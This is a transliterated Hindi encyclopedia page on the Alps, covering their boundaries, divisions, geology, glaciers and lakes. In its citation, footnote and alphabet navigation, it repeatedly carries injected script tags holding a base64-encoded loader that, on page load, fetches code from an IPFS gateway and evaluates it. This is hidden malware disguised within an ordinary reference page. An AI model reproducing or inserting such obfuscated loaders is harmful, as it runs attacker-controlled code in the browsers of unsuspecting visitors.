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alps yoorop ki ek vishal parvatapranali hai jo pashchim mean jenoa ki kha di se lekar poorv mean viyana tak phaili huee hai. yah pranali uttar mean dakshini jarmani ke maidan aur dakshin mean uttari itali ke maidan se ghiri huee hai. pranali lagatar ooanche paha doan se nahian bani hai, prastut bich bich mean gahari ghatiyaan haian. parvat uttar ki or uttal hai. adhikaansh ghatiyoan ki disha poorv pashchim ya uttar poorv se dakshin pashchim ki or hai. kuchh gahari ghatiyaan parvatashrriankhalaoan ko katati haian, jisase is parvat ke donoan or sthit manushyoan, jantuoan aur vanaspatiyoan ka avagaman sanbhav ho saka hai. alps shabd ki utpatti anishchit hai. isaka uchchatam shikhar pashchimi alps mean sthit maant blaiank hai (ooanchaee 15,781 phut).

"'alps ki simaean-"' uttar mean yah parvat besil se kaanstaians jhil tak rain nadi dvara aur sailzabarg se viyana tak baveriya ke maidan tatha nichali paha diyoan dvara ghira hai. dakshin mean isaki sima tayoorin se triest tak pidamaant, loanbardi aur venishiya ke vishal maidan dvara nirdharit hoti hai. isaka pashchimi sira tyoorin se aranbh hokar dakshin mean kal di teanda tak aur poorv ki or mu dakar kal di alateyar tak chala gaya hai.

prakritik vibhag - alps ke tin mukhy vibhag haian: pashchimi alps kal di teanda se sianpalan darre tak; madhy alps, sianpalan darre se reshane shidek darre tak aur poorvi alps, reshane shidek darre se radstair taivarn marg tak.

bhoovijnan aur sanrachana - alps parvat us vishal bhanjit kshetr ka ek chhota sa bhag hai jo anek vakrakar kramoan mean morakko ke riph parvat se aranbh hokar himalay ke age tak phaila hua hai. alps ek bhoodroni (jiosinaklain) mean sthit hai. yah bhoodroni aantim karbanaprad yug se aranbh hokar sanpoorn madhyakalp mean rahakar tritiyak kalp ke madhyanootan yug tak vidyaman thi. yah bhoodroni uttar mean yooreshiyan aur dakshin mean aphriki sthalapiandoan se ghiri huee thi. jyus aur any vaijnanikoan ne is droni mean sthit lupt sagar ko tethis sagar ki sanjna di hai. karbanaprad yug se aanrabh hokar isamean avasadoan ke mote staroan ka nikshepan hua aur sath hi sath bhoodroni nital dhansata gaya. is prakar avasadoan ka nikshepan lagatar samudratal ke niche lagabhag ek hi gaharaee par hota raha. isake bad virodhi dishaoan se dab p dane ke karan droni ke donoan kinare samip a ge, jisake parinamasvaroop ekatrit avasadoan mean bhanj p d gaya. anumanat: aphriki prishthapradesh (hiantaralaiand) uttar mean yooropiy agrapradesh (phoralaiand) ki or gatishil hua. aragaiand tatha usake sahayogi anusandhanakarta is dharana se sahamat haian. isake viparit, kobar ke matanusar alps ka bhanjan do agrapradeshoan ke ek doosare ki or badhane se hua hai.

alps ka adhikaantar bhag jalaj shilaoan dvara nirmit hai. ye shilaean raktashm yug se lekar madhyanootan yug tak ki haian. parantu inase adhik prachin chattanean bhi, visheshakar poorvi alps mean, paee jati haian (jais giriyug, karbanaprad yug, matsayug, pravaladi yug aur kaianbriyan yug ki chattanean.) manibhiy nais aur shist tatha agney shilaean bhi milati haian. kuchh chattanoan ka mahatv keval sthaniy hai, jaise molas, nagalaphloo aur phlish. ye sab navakalpiy haian.

himanadiyaan - anumanat: alps mean himanadiyaan aur neve (danedar him) kshetroan ki sankhya kul milakar 1,200 hai: isaki vishalatam himanadi alesh hai, jisaki lanbaee 16 mil aur neve sahit pravahakshetr ka vistar 50 varg mil hai. himanadiyoan ki samudratal se nimnatam ooanchaee bhinn-bhinn hai. yah griandelavald par samudratal se keval 3,200 phut ki ooanchaee par hai. himarekha 8,000 se lekar 9,500 phut ke bich sthit hai. pradhan parvat par himanadiyoan aur nevoan ki sankhya isake aantargat parvatamalaoan ki tulana mean adhik hai. tathapi, alps ki tin vishalatam himanadiyaan, arthath‌ alech, ooantarar aur vishar (aantim donoan 10 mil lanbi) barnoz ovaralaiand mean sthit hai. pradhan parvatamala ki vishalatam himanadiyaan mar di gles aur goranar haian jinamean se pratyek 91/4 mil lanbi haian.

jhilean - alps ki jhilean vibhinn prakar ki haian. jyoorikh jhil himanadiyoan dvara nikshipt himodh (dhoanke, ro de adi) nadighati ke ar par ikattha ho jane se bani hai. maitamark jhil bhi ek parshvik himodh ke baandh ka roop dharan karane se bani hai. bhooparpati ki gatiyoan se bani jhiloan ek himani bani jhiloan mean joos aur phalen jhiloo ullekhaniy haian. chune ke chattani pradesh mean patthjnar ke ghul jane se bani jhiloan mean dauban, muten aur sivali jhilean mahatvapoorn haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 448-49 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 448-49 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

आल्प्स

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sanbandhit lekh

varnamala kramanusar lekh khoj

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